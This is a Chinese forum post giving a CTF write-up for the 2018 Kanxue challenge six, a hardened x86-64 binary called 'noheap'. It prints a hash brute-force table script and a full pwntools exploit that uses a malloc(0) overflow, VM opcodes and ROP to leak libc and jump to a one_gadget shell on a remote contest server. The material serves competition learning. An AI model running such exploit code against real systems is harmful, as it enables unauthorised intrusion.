首页
社区
课程
招聘
[原创]2018看雪CTF第六题WP
2018-6-27 22:54 2545

[原创]2018看雪CTF第六题WP

2018-6-27 22:54
2545

checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

额。。。四种保护全开了

Random Hash


Hash算法不可逆,将43**4种情况打表,存储在文件中,exploit时查找hash值把对应的Payload提取出来

from pwn import p32
from binascii import *
chars = ''

for i in range(43):
    chars += chr(ord('0') + i)

with open('bf','w') as f:
    for c1 in chars:
        print c1
        for c2 in chars:
            for c3 in chars:
                for c4 in chars:
                    s = c1 + c2 + c3 + c4
                    n = (ord(c4)<<24) + (ord(c3)<<16) + (ord(c2)<<8) + ord(c1)
                    t1 = (0x343fd*n + 0x269ec3)%0x100000000
                    t2 = (0x343fd*t1 + 0x269ec3)%0x100000000
                    s1 = p32(t1) + p32(t2)
                    t3 = 0
                    for i in range(8):
                        t3 = t3*131 + ord(s1[i])
                    s2 = hex(t3%0x100000000)
                    f.write('s:%s s1:%s s2:%s\n'%(s,hexlify(s1),s2))

VM

 


VM中的代码有点绕,但其实就是根据opcode,布置栈上数据。提供了各式各样的数据处理能力,加减乘除,与非异或。(其实有加减就够了)

opcode的初始化


opcode位于input正下方

 

malloc(0)引发的溢出漏洞

ROP

Opcode Payload的构造比较麻烦,这里就说说getshell的大体思路:
1、malloc(0,payload1) ------> 溢出设置opcode1
2、free ------> 但其实调用的不是free,而是进行opcode1布置好的ROP,leak libc基址。
3、malloc(0,payload2) ------> 溢出设置opcode2
4、free ------> 调用的也不是free,直接跳至libc中的one_gadget getshell

 

下图是opcode1构造ROP的栈布局:

完整EXP

from pwn import *
import re
from binascii import unhexlify

#context.log_level = 'debug'
bin = ELF('./noheap')
libc = ELF('./libc-2.23.so')
one_gadget = 0x4526a


with open('bf') as f:
    data = f.read()


def malloc(n,content):
    p.send('1')
    p.recvuntil(':')
    p.send(str(n))
    p.recvuntil(':')
    p.send(content)
    p.recvuntil('>> ')

#p = process('./noheap')
p = remote('139.199.99.130',8989)

s = p.recvuntil('Input:')
hash = re.findall('Hash:(.*)\n',s)[0]
log.info('Hash = %s'%(hash))

pattern = 's1:(.*) s2:0x%s'%(hash.lstrip('0'))
payload1 = re.findall(pattern,data)[0]

p.send(unhexlify(payload1))
p.recvuntil('>> ')


payload2 = 'a'*0x80
payload2 += '\x01\x02\x13\x01\x00\x01\x00\x01'
payload2 += '\x00\x01\x00\x01\x00\x01\x00\x01'
payload2 += '\x00\x01\x02\x13\x01\x00\x01\x00'
payload2 += '\x01\x02\x13'
payload2 += '\x01\x44\x04\x05\x01\x05\x14'
payload2 += '\x01\x4c\x04\x05\x01\x06\x14'
payload2 += '\x01\x54\x04\x06\x01\x07\x14'
payload2 += '\x01\x5c\x04\x05\x01\x08\x14'
payload2 += '\x01\x64\x04\x06\x01\x09\x14'
payload2 += '\x01\x6c\x04\x05'
payload2 += '\x16\x00'
payload2 += '\xa5\x06' + '\x00'*6
payload2 +=    '\x32\x06' + '\x00'*6
payload2 += '\x64\x02' + '\x00'*6
payload2 += '\x35\x02' + '\x00'*6
payload2 += '\xb0\x24\x20' + '\x00'*5
payload2 += '\x4d\x17\x20' + '\x00'*5

malloc(0,payload2)

p.send('3')
s = p.recvuntil('>> ')

libc_base = u64(s[:6]+'\x00\x00') - libc.symbols['puts']
log.info('libc_base:%s'%hex(libc_base))
target = libc_base+one_gadget

payload3 = 'a'*0x80
payload3 += '\x01\x01\x13\x01\x00\x01\x00\x01'
payload3 += '\x00\x01\x00\x01\x00\x01\x00\x01'
payload3 += '\x00\x01\x01\x13\x01\x00\x01\x00'
payload3 += '\x01\x03\x14'
payload3 += '\x01\x21\x04\x06'
payload3 += '\x16\x00'
payload3 += p64(target)

malloc(0,payload3)

p.send('3')

p.interactive()

GetShell

ps:

题目中提供了一个show函数输出堆内存,但是我没有用上。
题中可分配内存的大小为[0,0x80],尝试了很久,似乎怎么分配都是fastbin。(对堆管理不熟悉。。。)
如果能用show()来leak libc基址,exp会简单很多,不需要构造ROP了。
不知道是我的姿势不够还是这是作者有意设置的一个误导选手的坑呢?


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-6-28 05:12 被mratlatsn编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回